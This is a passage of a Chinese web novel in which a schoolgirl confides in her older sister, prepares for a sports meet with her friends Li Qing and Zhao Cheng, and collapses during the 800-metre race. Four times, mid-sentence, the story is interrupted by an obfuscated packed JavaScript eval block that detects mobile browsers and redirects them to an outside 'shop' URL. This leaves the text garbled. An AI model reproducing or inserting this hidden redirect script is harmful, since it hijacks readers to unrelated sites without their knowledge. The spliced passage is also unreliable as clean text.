“哦。”我将姐姐的头发一圈圈地缠在我食指上,“好吧。不是就不是吧。” 姐姐翻了个身趴在床上,将属于自己的发丝抢了回去。 “这是我的初中同学。” 我有些讶异,“你的初中同学?那是不是和你一样大?” 姐姐说:“她上学晚,比我大一岁,今年十八了。” “哦。”我说,“成年了。” 姐姐顿了顿随后点头,“她学习成绩不太好,初中中考没考好,上了中专,学得什么专业我不清楚,好像是3+2,学知识学三年,然后两年实习工作。” “然后呢?”我问。 “然后……”姐姐说道,“然后就参加工作,就变成大人了。” “参加工作就能成为大人了吗?” “不是。大人也分情况的,生理意义上的大人和实际上的大人。” “我不懂。” “生理意义上的大人呢就是满十八岁的人,像咱们今天见到的姐姐,她满十八岁了,所以她算生理意义上的大人。” 姐姐停了停又说:“也是法律意义上的成年人了。” “明白了,就是犯罪会被人抓起来的大人,那什么叫实际上的大人呢?” 姐姐说:“心智成熟的人。有些人即便满了十八岁,可他们心智不成熟,赌博、犯罪这种危害他人的人不能叫做大人,不能叫做合格的大人。” “那姐姐是不是实际上的大人?” 姐姐笑了笑:“对啊,还不快快行礼拜见大人。” 我将厚厚的被子围在姐姐背后当成披风,学着课本里的人物拱手作揖:“参见大人。” 姐姐哈哈大笑,笑得擦了擦眼角的泪水,“真是服了你了,我不是大人行了吧。” 我点点头,“那你是小人儿。” 姐姐笑得趴在床上。 我又指了指自己,“我是小小人儿。” 姐姐彻底没办法回答我了,她只是一个劲儿的笑。 我恼羞成怒地推了推她,“你究竟在笑什么?!我有哪里说错了吗?” “小人比小小人大,所以小小人要听小人的。”姐姐险些被我推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019796|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到地上去,“你不许推我了。” “哦……”我知道错了,不能在床上打闹,这很危险,但我还是有些不服气的说,“我本来就听你的,因为你是我姐姐。” 姐姐高深莫测地点点头,“对,我是你姐姐,所以你要乖乖听话,姐姐让你干什么你就干什么,姐姐不会害你的,对不对?” 我点点头,“对。” 姐姐拍拍手,将被子盖过头顶,“好,那你现在去把灯关上吧,该睡觉了。” “哦。”我应了声,乖乖去拉线了。 “姐姐,我有点看不清。” “笨,往前走五步。” 我照着姐姐的话走,“然后呢?” “然后上床睡觉!” “哈欠~”我揉了揉眼睛,“好困呢。” “昨天睡得太晚了吧,今天要早点睡。” 我有些不满意,拉着她的手撒娇:“可是今天是难得的礼拜六哎,是这一周最后一次晚睡的机会了,真的要那么早睡吗?” 姐姐被我搞的没办法,“好吧好吧,那今天晚上几点睡再看情况吧好吗?” “ok~”我比了个手势。 吃过早饭,我和姐姐挤在床上学习,她写她的作业,我写我的作业。 “姐姐。” “嗯?”姐姐笔下动作不停,问我,“是有不会的题了吗?” 我摇摇头,我说:“姐姐,你以后要去哪个大学呀?” “不知道。”姐姐说,“要看高考成绩考多少。” “那你现在能考多少呢?” “六百五左右。” “满分750,那妈妈会问你为什么这么粗心扣了一百分吗?” 姐姐失笑,摸了摸我的头,“妈妈不懂这些,她只希望我能考得好一点,再好一点。” “哦。”我问姐姐,“那你以后想学什么专业呢?” “海洋。我想学关于海洋的专业,我想潜水想去海底。” 姐姐没有停顿,又说道:“我很喜欢海洋,我觉得海洋有很多我没见过的生物,很奇妙。我想在海面上航行,看一望无际的海面;或下潜到海洋深处,看海洋里是不是真的有长得奇形怪状的生物。我想看阳光洒在海洋上是怎样的一番景象,我想我会爱上海洋,爱上这种感觉。” “那你出海我是不是看不到你了?”我这样问,“我太久见不到你的话会想你的。” “没事的,我只是去工作,休假时会回来的。而且距离我工作还有好久呢,高中还有大半年,再加上大学的四年我才会开始工作呢。” 我想我要搜一搜海洋大学的录取分数线,我想姐姐实现她的愿望又不想姐姐离我太远。 姐姐上的是我们区最好的高中,从家里坐公交车四十分钟就能到,姐姐每周五都会回家,去澡堂洗个澡,周六和我一起吃个饭,然后辅导我学习,周日睡个懒觉就又要回学校了。 高中的课业很多很累,姐姐也有了黑眼圈,像保护动物大熊猫,我没有见过真的大熊猫,但是我有姐姐,我相信姐姐以后会带我去看大熊猫的。 9. 第 9 章 周日。 “我去上学了,有事给我发信息。” 我点点头,又听她说“你不喜欢吃茄子,我让二婶别送了。冰箱里有老干妈,吃馒头的时候可以就着。” 我挥挥手,目送她上了公交车。 回到家,我查了海洋大学的录取分数,姐姐很优秀,如果正常发挥的话可以上这所学校。 我叹了口气,目光不禁望向天空。 真正的大海是什么样子的呢? 真的和天空一样蓝吗? 我把我的疑问说出来,得到了李卿肯定的回答。 “当然啦,大海真的很漂亮。有的地方的海真的很干净很干净,沙滩的软软的,夏天光着脚踩上去跟做足疗一样,很烫,但是熟悉温度之后就会很舒服。” 赵澄嗤笑一声:“是不是烫熟了所以感觉不到热了?” 李卿将手中的作业本卷吧卷吧往赵澄脑袋上抡,抱怨道:“我真是服了你了,大周一的,能不能不要总说这种煞风景的话。” “好好好。我知道错了。”赵澄故作受伤似的摸摸自己的头,向李卿的方向靠,“你都给我打疼了,给我吹吹吧。” “少装蒜了!”李卿白他一眼,“注意影响好不好,我都没用力气。” 我在一旁听着他们的打闹声一边幻想大海的样子,那会不会就是姐姐以后工作的地方呢? “运动会报名快截止咯,谁要报名快点来呀。”体委站起来扬扬手中的报名单,“目前就还剩两人三足和女子八百米这两个项目,欲报从速,先来先得。” 李卿顾不得和赵澄说笑,连忙拉着我的手三步并两步来到体委桌前,“两人三足我俩报了。” 体委比了个ok的手势,又摆摆手示意我俩回去。 随即体委接着喊起来,“目前就还剩女子八百米和立定跳远这两个项目了,欲报从速,先来先得~” “额,李卿,你有没有觉得哪里不对?” 李卿拉着我回到座位上,思考了两秒,“哪里不对?” 她摸了摸下巴,点点头,“是不是咱俩还要再练练?” 我看了看正在叫喊的体委,又看了看兴致勃勃的李卿,随后无奈点头。 下周办运动会,于是这周的体育课被征用让我们练走方阵。女子八百米没人报名,最后体委提议抽签决定。 真是烦人,抽到我了。 我最讨厌跑步了,让我在教室里写数学题我也不愿意去上体育课,每次体育课热身的两圈我都要提前三天做心理准备。 李卿轻推我的臂膀,“挺好,我替你去跑八百吧?” 我摇摇头,这是我运气不好,不能让李卿替我跑步,不能让李卿承担我的坏运气。 下节体育课,课间其他人陆陆续续赶往操场,我倚在桌子上背靠着门,偷偷摸摸地给姐姐发信息。 “姐姐。我下周要开运动会了,八百米没人报名,抽签抽到我了。可是我不想跑TT” “李卿和我说,她可以替我跑八百,可是我已经欠她很多了,我很感谢她。” 姐姐没有回我,应该是在学习。我把手机塞进桌洞,和李卿一起去操场。 期间李卿缠着我问完联系方式,我告诉她后,她郑重的将我的电话号码记了下来。我笑着想,电话号码是我用姐姐的身份证办的,这个电话号其实应该是我姐姐的。 李卿又问我手机是我父母给买的吗,我笑了笑说不是。 爸爸妈妈不太想让我从小就有手机,他们说小孩子有了手机就不想学习了,说姐姐就是这样。 其实我觉得很奇怪,他们说姐姐不喜欢学习,那为什么还能考上最好的高中呢? 我把我的疑问告诉了爸妈,他们说这是因为给姐姐报了补习班的原因。 我在想为什么我没有补习班呢?爸爸妈妈说家里有姐姐可以辅导我学习,可是我不想占用姐姐学习的时间,爸爸妈妈又改口说家里没有多余的钱让我上补习班了。 我跟李卿说手机是姐姐买给我的,姐姐兼职给我买的。 李卿笑着对我说:“你姐姐很厉害。” 我也这么觉得。 走了几遍方队我被李卿拉过去练两人三足,结果却发现没带红绳,李卿索性将常年套在自己手上的发圈摘下,让我把脚伸进去。 我犹豫地看着李卿,这个浅蓝色的发圈看着很新很干净,如果套在脚踝上会被弄脏的。 李卿说:“没事,只是一个发圈,我家里有好多呢。” 此时赵澄拿水回来了,看到这一幕皱了皱眉,他走到我和李卿身边,从口袋里拿出了红绳。 “用这个吧。我前两年本命年买的,发圈给我吧,就当是交换了。” 李卿笑了,接过红绳、上交发圈、绑脚踝,一套动作一气呵成。 “行啊你,居然还信本命年这些。” 赵澄无语扶额,“到底要不要?不要还给我。” 我指着红绳上的金色饰品,“这个要不要卸下来。” 赵澄摇头,“不用了,交换就是交换,这个也送给你们了。” 我对李卿说:“李卿你收好吧,我把鞋带解下来吧。” 说完这句话我径直蹲下身开始解鞋带,没看到李卿和赵澄正在挤眉弄眼。 我将鞋带绕上我和李卿的脚踝,开始一步一步慢慢走,伴随着李卿“一二一”的声音,我们从慢走逐渐变成小跑。 五十米不近不远,等我和李卿一同迈过白线时我和她顺势坐倒在地。 李卿喘着气,“挺好,咱俩就保持这个节奏,有望一举夺魁。” 我笑着点头。 鞋舌在奔跑途中一颠一颠的,现下坐下来终于可以整理了。 李卿指着我的鞋,“哇挺好,你这鞋还挺可爱的。” 我略带羞涩地低下头一边穿鞋带一边小声说:“这双鞋也是我姐姐给我买的。” 李卿双手合十拜了拜,“我要是有这么个姐姐就好了。” 我没言语,装作没听见继续整理我的鞋子。 等下了体育课我回到教室,打开手机短信发现姐姐给我回了消息。 “不想跑八百要不和老师说一声?” “运动会,我可以去吗?我想给你拍点照片。” “那李同学很优秀,希望你们两个的友谊可以长久的保持下去。” 末了,还留了一个表情“^_^”。 我没回复,将手机塞到课桌中的书本底下,给李卿讲起数学题,现在我的数学在某些方面比李卿还厉害。 我看着李卿用手臂支着脑袋上下眼皮疯狂打架的模样,我心中不免松了一口气。 挺好,再努力一些吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019797|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>挺好,再学得比李卿多一些吧。 这样你就能帮助李卿了。 李卿对我做过的每一件事犹如一枝干柴压在我身上,可不知不觉中我像是孙悟空,背上了一座大山。 这座山依赖于李卿的善心而存在,依赖于我的愧疚、感激而存活。 久而久之,这座山压得我喘不过气,我费尽力气抬头望天,却只能看到李卿在天上冲我笑。 我帮助李卿学会了一道题,山上就少了一棵树上的枝干,重量没怎么变,可我莫名会觉得身上的担子松了不少。 “挺好。你能不能再讲一遍?” 我点头,在原先基础上又仔仔细细讲了一遍,这次李卿双手一拍,露出欣喜的目光,“我明白了。” 我笑着点头,拿橡皮将自动笔留下的痕迹尽数擦净。 我把笔递给了李卿,“那你给我再讲一遍。” 李卿脸上的笑容顿时消失不见,苦哈哈的看着我,声音颤巍巍的冲我说:“没必要吧挺好?” “很有必要哦。”赵澄一边转笔一边说,“该不会挺好给你讲了两遍你都没懂吧?” 赵澄发出“啧啧啧”的声音,“而且还不懂装懂,这太……” 李卿的拳头捏紧了,指关节咯咯作响,笑着看向赵澄,“有本事你再说一遍?” 我没劝架,默默在数学题填上一道辅助线,准备等李卿暴揍完赵澄后再给她讲一遍。 最后我看着李卿独立将这道题做出来不禁露出欣慰的目光。 课间即将结束,班主任雨姐走进来,招呼了几个比较强壮的男生陪她一起下去。 其中也包括赵澄。 “赌不赌让我们下去拿什么?输的人要帮赢的人买一周……” 李卿直接打断他的话,“我赌拿运动会的服装。” 赵澄啧了一声,“你把我想说的说了,那我说什么?” 李卿嘻嘻一笑,“先来先得,你自己语速慢怪谁啊?” “那我赌是让我们拿练习册。” 李卿揽着我的肩膀说:“行啊,那你输了要给我和挺好买一周的早饭。” “行啊李卿,你输了也给我和挺好买一周的早饭。” 我低着头默不作声看语文书上的注释,我想告诉他们打赌是不对的,可是不管怎么想这个赌约都对我有利,我实在是想不出劝诫他们的道理。 五分钟后,赵澄提着一捆大红色棉袄上来了,他放到讲台前随后对李卿和我比了一个不怎么友好的手势。 李卿却笑得不行,因着已经打了上课铃,所以笑得不敢太放肆,只好偷偷摸摸的趴在自己的臂弯里笑,肩膀一耸一耸的。 等赵澄冷着一张脸回到座位时,李卿终于抬起头,甩了甩已经发麻的手臂,另一只手在桌洞里掏了个小本递给我。 “来来来挺好,快来点餐啊。不用跟赵澄客气,赵澄比我有钱,想吃什么点什么,最好狠狠宰他一顿。” “我还没想好吃什么,你先写吧李卿。” “行,那我先点。” “佛跳墙,海参鲍鱼……”李卿一边写一边轻声念叨。 赵澄被气得太阳穴一跳一跳的,“李卿你别太过分。” 我装模作样地拿着笔在语文书上勾画注释,又分心听着他们的对话。 怎么办?我也有点想笑了。 10. 第 10 章 傍晚,我就着老干妈吃了一个馒头,写完作业后躺到床上给姐姐发信息。 姐姐说可以来运动会,我很开心,但是我也有些担心会不会耽误她的学习时间。 姐姐说没事,姐姐说她想见证我的成长。 我感到有些冷,于是将今天新发下来的大红棉袄班服披在身上,双手团在一起哈了口气,随后打字。 我和姐姐说了老师们资助我的事,我说我长大以后也要当老师,报答完她们也去资助像我一样困难的学生。 姐姐可能在学习了,没再回我。 冬日的冷风顺着毛孔直往骨头缝里钻,我盖着棉被穿着我的小黑棉裤,又把红棉袄盖在被子上,这才沉沉睡去。 次日我起床,不免打了个哆嗦,匆匆忙忙地将校服裤子穿上,穿着大红棉袄背上书包出了门。 我抬头看着天空,月亮还在,星星点点为我照着前方坑坑洼洼的小路,我整了整棉袄的领子。 真暖和,我想。 在运动会班服还没发下来的日子里,我都是里面套了一件毛衣,外面穿着秋冬季节的校服褂子。 李卿问过我冷不冷,我总是嘴硬着说不冷。在学校门口花三五块钱买个热水袋,灌上免费的热水贴在怀里,暖乎乎的。 水变温了,就倒在水杯里喝掉。不过后来我不这么做了,李卿告诉我这种热水袋的水不能喝,可能有致癌成分。 我老实了,我不想死。 离学校二百米的拐角处,我趁着没人将红棉袄脱了塞进书包里,这个红棉袄不是我买的,最后要还给李卿。 推开教室门,我来到我的座位,照例将我被冻得发麻的双手贴在暖气片上,过一会儿翻个面,发出满足的喟叹。 缓过来了。 我打开英语试卷,依照老师给的批注把我的作文改好了,又背了些好词好句。 等我背得差不多了,李卿和赵澄姗姗来迟,他们两个提着早点不紧不慢的进来。 “挺好,今天又是第一个到的吧?”李卿说完,将手中的草莓烧饼塞到我手里。 “是的,谢谢你帮我带早饭。” “没事奥,是我愿赌服输。”赵澄指了指数学作业,“要是想报答就把这个给我借鉴借鉴。” 李卿呵呵一笑,“挺好不要给他,让他被数学老师骂一顿长长记性。” 我有些为难,不知如何是好,我觉得我应该听李卿的,可平日赵澄对我也不错。 李卿可能看出我的为难,随后也将自己的数学练习册摆在桌上,“要借鉴那当然是我先借鉴了,你一边去。” 赵澄呵呵一笑,随后找别人要数学作业借鉴去了。 我指着脑袋看李卿奋笔疾书,我有些好奇,不禁问她:“那你们晚上不写作业的话干什么呢?” 李卿头也不抬的说:“能干的事可多了。我妈新买了个烤箱,天天缠着我让我和她一起做小蛋糕。” 听到李卿这么说,我想起了我的爸妈,不知道他们现在怎么样了,有没有找到工作。 李卿说罢抬眸看我,“挺好,你……” 我笑了笑,“怎么了?” 我手上拿着他们给我的早饭,“是有哪里不明白的题目吗?” 李卿欲言又止,最后摇摇头,“没什么。” 我父母外出打工这件事,李卿应该不知道。我爸妈之前是水猫,天不亮的时候就去人才市场上等活儿干,说是等,实际上是抢活儿干,去的越早,站得位置就越靠前。人才市场往上走两步就是公路。开老式破旧的面包车的小老板停在乌泱泱的人群前方,沙哑的声音从主驾传来,“八十块钱半天,一百五一天,包吃包回。”话还没说完,一群人互相推搡着、恨不得争得头破血流,最后八个“优胜者”淘汰了别人上了车。他们长叹一口气,有个男人啐了一口“什么崽种啊也配跟我抢活儿干?” 车上的空气算不上清新,安全带上尽是灰土。原本的座位撤去了,取而代之的是白色透明塑料布,说是白色,可不知道被多少人坐过了,虫蚁在上面啃食了数个密密麻麻的小洞,车上的人无一例外的顺势坐到上面,更有甚者要求别人坐到一边去,他起的太早了想躺一会儿。 一个中年男子顺着他的要求坐过去,转过身小心翼翼和老板说话。 “老板,那我只干半天行吗?我娃今天要开家长会。” 老板是个五大三粗的魁梧男子,只是从后视镜里粗粗看了一眼他,嗤笑一声,随后狠踩了一脚油门,“行啊。” 中年男人讨好地笑笑,“那先谢谢老板了,祝您早日发大财。” 最后这个男人干完了半天的活找到老板请求他将自己带回时却遭受到了老板的白眼儿。 “只有你一个人要求干半天,剩下几个人都要干一天。你是说我要为了你一个人白跑一趟吗?” “当时你招我们的时候可不是这样说的啊,怎么翻脸不认人?” “呵呵,别在这跟我叫唤了。”老板从自己的皮夹中数了八十块钱扔在他脸上,随后吐了口唾沫,“呸,自己拿着钱滚吧。” 后来,他把地上混合着汗臭味和口水钱捡起来,打了个出租车去学校开家长会。 这个老实的中年男人,是我爸。 其实那天凑巧我也开家长会。 再后来我爸和我妈决定离开这座城市,南下打拼。 这些是姐姐和我说的,其实我也想有人去替我开家长会。 日子一天天过去,终于到了运动会前一天,我和李卿的两人三足越来越顺利。李卿和我说她连获奖感言都写好了。 赵澄在一边吐槽:“一个破两人三足的比赛项目哪来的获奖感言,这不是搞笑吗?如果真要有获奖感言也是优先给八百米一千米这种大项目的获奖者吧。” 李卿眉头一皱,“谁跟你说两人三足不算大项目了?” 赵澄无语一笑,“哇塞,那请问哪次亚运会世界杯办过两人三足呢?” 李卿吃瘪,只好转头看着我说:“挺好加油,期待你成为八百米的优胜者,然后上台发表获奖感言。” 说罢,她从桌洞掏出一张A4白纸,“获奖感言我帮你写一份,到时候你看看哪里需要改再和我说。” 我按下李卿蠢蠢欲动的手,李卿骤然一愣,紧接着笑了笑,她说“哦对,这种还是自己写比较好,但是怎么写都得提上我的名字啊挺好,咱俩是最好的朋友。” 我将原本的话压在心底,拿起笔和她一起开始写获奖感言。 十分钟后,李卿拿起这张纸视若珍宝地抖了抖,“很好,很完美,这将是咱们学校最棒的获奖感言。” 李卿将这张纸叠了两折,郑重地塞到我的棉袄口袋里,“挺好,加油,明天咱们就上战场了。希望咱们都能取得好成绩。” 深夜我躺在床上,看着我和姐姐的聊天界面,我有些忧虑,姐姐是学习太忙了所以没时间回我吗? 那明天还会来看我的运动会吗? 将近一周没见到姐姐了,我有些想她。 我枕着疑问睡去,半梦半醒间我好像看到忽明忽暗的灯光,没过一会儿好像有人摸黑进来躺在我身边,我感觉是梦,直至天光破晓,我猛地睁眼,是真的姐姐。 姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019798|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见我坐起来,揉了揉眼睛,问我:“几点开运动会,咱们现在走吗?” 我看了眼时间,刚七点半。 “九点开,八点半到就行。你昨天几点回来的,我还以为是梦。” “一点多。” 我皱眉,凌晨一点多这个时间很不好,太晚了,遇上坏人有危险怎么办。 我把我的顾虑和姐姐说了,姐姐失笑,和我说现在是法治社会,没那么多危险分子。 我还是皱眉,语重心长的和姐姐说:“以后不要这样了。” 姐姐笑着摸我的脑袋,“现在都长成小大人了啊,厉害厉害。” 我把头顶的手拿下来,小声嘟囔一句“才没有。” 有姐姐在,有什么事姐姐会解决的。 我和姐姐一起走着去学校,红色的棉袄班服我穿在身上,姐姐不禁好奇,“你这大红棉袄哪来的?二婶给的?” 我摇摇头说:“不是,是李卿买了两件,一件她穿一件给她亲戚,可是这衣服让我先穿。” 姐姐很聪明,一下就明白了,“这棉袄多少钱?” “八十五块。”我说。 姐姐从棉坎肩口袋里拿了一百块钱给我,“把钱给同学,剩下的钱给同学买点好吃的。” 我沉默着看着姐姐手里老旧的一百元人民币,“姐姐,你手里还有钱吗?” “都把钱给我了,那你花什么?” 我说:“爸妈走之前,家里就没剩多少钱了,你带我吃好吃的,你给我买新鞋子,钱都让我花了,那你上学怎么办?用自己的学习时间接着去端盘子做PPT吗?” 姐姐把钱塞到我口袋里,“你还小,你不用操心这些。你不把钱给同学,会被同学瞧不起的。” 我梗着脖子,看地上的小碎石头,不去看姐姐的表情,“李卿不是这种人。” 姐姐秀气的眉也皱起来,“你怎么知道她不是这样的人?你怎么知道她不会在背后说你是个没钱没教养的孩子?你怎么确定她心里从来没想过这些?” 我叹了口气,我确实不知道李卿有没有说过我的坏话,我不知道李卿是怎么想的,但是我不想让李卿认为我是个白眼狼。李卿可能是吕洞宾,但我不是狗,我不会恶狠狠地咬上李卿。 姐姐见我沉默,她还是把钱从我口袋里拿出来重新交到我眼前,“拿着吧,不给同学也好,你平常自己买点吃的买点文具,就当是你的生活费了。” 我默了两秒,最终还是将钱接了过来,我说:“谢谢姐姐。” 发生了这件事,我和姐姐接下来在去往学校的路上沉默着,互不言语。 我一边踢着石子一边走,我想姐姐也是为了好,她不了解李卿,她怕我在学校受到歧视受到伤害。 可是,尊严从来不是用钱能买到的东西。 这个道理是班长教给我的。我有个坏毛病,我走路总是低头看着地面,和人说话也不敢大声,可班长不像我这样唯唯诺诺,如果不是我偶然知道他的家庭条件也不好,除了长年累月的墨绿色书包和寒冬中的破旧旅游鞋,我会认为班长和李卿的生活差不多。 毕竟,他们都是那么自信。 到了学校,姐姐低头捋了捋我的头发,和我说:“运动会加油,我先去观众席那边了,等你们班走方阵我会找你的。” 我点点头。 隔着本班集合点老远我就看到李卿摇着手冲我打招呼,我也矜持的冲她摆手。 等我走到跟前,李卿给了我一个大大的拥抱。 “挺好,古有一日不见如隔三秋,今有一夜不见如隔一秋半,想死你了。” 11. 第 11 章 热情的李卿令我有些招架不住,她像是树懒死死抱着我,令我动弹不得,我把口袋里的获奖感言拿出来给她。 “这个获奖感言我又改了点,你看看怎么样。” 李卿瞬间松了手,拿起纸看起来。我松了一口气,其实我没怎么改,不过是加了一句感谢我最好的朋友。我看到李卿眼睛有点红,她和我说她很感动很开心。 我笑着说咱们要走方队了,眼睛红红的可能会被拍下来哦。李卿立刻凑上来给我整理衣领,其实我的衣领没乱,如果乱了我姐姐肯定会和我说的。我知道李卿只是想让我不再看她的眼睛。 伴随着慷慨激昂的音乐,我和李卿再最后一排一同向前行进,我和李卿穿着同样的衣服,透过余光我看到寒风将李卿的刘海儿吹得有些凌乱,她发觉我在看她了,她的嘴角不自觉地上扬了。 路过评委台,播音员主持人正在介绍我们班,我的头不能大幅度转动,我看不到姐姐,也不知道姐姐能不能在这么多人中找到我。 等到所有班级都走完,随着一声发令枪的响声,所有人四散开来,我和李卿说了声就去找姐姐了,李卿非要跟着我一起去,我点头说好,我也想让姐姐认识李卿,我想让姐姐知道李卿不是那样的人。 我挽着李卿的手走到观众席,走到姐姐面前。姐姐没坐在凳子上,反倒是蜷着腿坐在冰凉的台阶上,她看着我和李卿笑了一声。 “两个小朋友怎么啦?” 我抱着一种不服气的劲儿和姐姐说:“没怎么,姐姐我就是想让你认识一下我的朋友李卿。” 姐姐点了点头,“李卿同学你好,我是挺好姐姐。” 李卿笑了笑,“姐姐好,我总是听挺好提起您,您好厉害,我和挺好要是能跟您上同一所高中就好了。” 李卿说这句话时,眼神有些落寞。 我拍了拍她的手,和她说:“没事的,我现在数学成绩也在稳步提升,我会带着你一起学习的,请你和我一起努力吧。” 姐姐站起身,两只手在我和李卿的肩膀各拍了拍,“小同学们要加油,有不会的题可以问我,我看到了就会回的。” “嗯!”李卿重重地点了点头,随后拉着我慢慢往后退,“那姐姐我和挺好先走了?我们两个的项目马上就开始了。” 姐姐挥了挥手,意思是让我们快走,我被李卿拽着往前走,不知为何我突发奇想回头看了一眼,发现姐姐目送着我和李卿,见我看过来又对着我露出一个笑容。 “请各位参赛选手上跑道……” 我紧张得不行,转头看李卿,发现她正深呼吸,我学着她的样子也深呼吸,好像好了点。 “各就各位……”裁判举着发令枪,不知何时按下扳机。我下意识低头,可一看到我们脚上绑着的红绳,不长不短的红线正好将我和李卿的脚死死缠在一起,我不可避免的又开始紧张起来。 李卿轻声对我说:“别害怕,只是一次小比赛,没什么大不了了的,咱俩闭着眼一直往前就好了。” 我闭着眼深深呼了一口气点头,熟料正是现在裁判扣下扳机,我的眼睛睁开时发现其他几只队伍已经出发了。霎时我感觉我的汗浸透了厚厚的班服。 “走走走挺好。”李卿看出我的急躁,安慰我,“没事没事,来得及。” 我和李卿一起踩着“一二一、一二一”的步伐,冬日的呼啸风声掠过我和李卿耳畔,我的耳朵被冻红了,我甚至感觉我耳朵正在散着热气。我和李卿超过了一个又一个队伍,我和李卿绑在一起的那只脚冲过终点时,李卿一把抱住我。 “太好了,挺好,咱们是第一名。”李卿将那张获奖感言拿出来清清嗓子一字一句念道,“我要感谢……” “比赛完就下去啊,别占地了。”裁判站在起点冲着我们大声喊。 李卿牵着我的手走到跑道里侧的草坪继续说:“我要感谢我最好的朋友,她就是——赵——挺——好!” 她念我名字的时候将我的手高高举起,像是在宣布我是优胜者,我用另一只手为她整了整被风吹乱的刘海。 李卿弯下腰将红绳解了,“挺好,歇一歇你就要去跑八百了,加油!” 李卿这句话一说完,我倒吸一口冷气,是啊我还要去跑八百,这太要人命了…… 我说:“等会你去拿奖品吧,我腿有点软,我慢慢走。” 此时赵澄正好拿着一兜子零食走过来,他见我这般模样不禁笑出声,“怎么这样了?” 李卿就把我要去跑八百的事和他说了,赵澄听后示意自己知道了,随即在零食袋里翻翻找找,在塑料袋的最下面掏出了巧克力递给我,“吃点吧,补充能量。” 我接过来道谢,将巧克力吃了,李卿将获奖感言又塞到我口袋里拍拍我胸口,“挺好加油,希望你在领奖台上念出我的名字!” 我苦笑着点头。 “请女子八百米参赛选手尽快上跑道。”我被李卿搀扶着走到跑道。 八百米,我们学校场地比较小,一圈200m,800m就要跑四圈,想到这里我长叹一口气,恨不得把身上的棉袄也脱了就当减轻重量。 我揉了揉我的耳朵,随后站上跑道,我听到赵澄和李卿两个人为我加油助威,我的目光不自觉转到观众席,我看到姐姐给我比了个加油的手势。 “各就位……” 我在心里也对自己比了和姐姐同样的手势。 “出发。” 我在最外道,要过了第一个弯道才能走里圈,我拼了命的跑,可我还是看到一个个同学超过我。 200m。 独属于巧克力的味道顺着口腔到食道,再到胃里,好甜腻。 400m。 我看到李卿和赵澄对我加油助威,可风的声音阻断了他们的言语,我听不到他们在说什么。 500m。 路过观众席,我看到姐姐从台阶上走下来满怀关切的看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019799|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。可只一瞬,我又拼了命的往前跑。 600m。 我跑不动了,我听到有人喊“东西掉了。” 我想回头去看,可又有人超过我了,我只好接着迈出我沉重得像是灌了铅的双腿,一口一口地喘着粗气,任由冷风钻进我的肠胃和甜腻的巧克力相伴。 700m。 我摆臂的时候摸了摸我的口袋,确定是我的获奖感言掉了。我不自觉的想那张纸上面都有什么来着? 什么……来着…… 晕倒前的最后一秒,我只看到了灰红色的跑道。在这一刹那我想了很多,没站到领奖台念获奖感言李卿会不会难过?在观众席看我的姐姐会不会担惊受怕? 可晕过去前的最后一个念头就是,跑道好脏。我身上穿的班服,真要是摔倒地上了,这样李卿就不用再找其他的理由将棉袄送给我了。 “挺好!” 好像是姐姐抱着我喊我的名字,我想回应姐姐,可我竟说不出一点话。恍惚中姐姐又背起我一颠一颠的,我想和姐姐说我自己能走,可我的嘴只是徒劳的张着。我眼睛都睁不开,只好任由姐姐背着我不知去到哪里。 等我再次睁眼,我看到我被放在三甲医院的凳子上,姐姐在帮我挂号。 空气中弥漫的消毒水味令我不住作呕,我软着腿走到洗手间吐了。等我出了厕所,正好看到姐姐拿着挂号单正四处张望寻找我,我刚走一步她就发现我了。她松了一口气,连忙走到我跟前搀扶着我,她对我说:“现在先不要自己走动了,有事就喊我,再去厕所的话我陪着你。” 我点头,跟着姐姐抽血,看病,最后医生说我是急性肠胃炎,说我是疼晕了。 急诊的床位费三十块钱一个人,我看到姐姐拿药的手顿住了,随即她温柔地弯下腰对我说:“挺好,你先去找个床躺着,让护士姐姐把液给你输上,我现在去交钱,你在这等会儿我。” 我忍着想吐的感觉点了点头,姐姐已经很累了,我不能再拖累姐姐了,我现在要做的就是乖乖的。 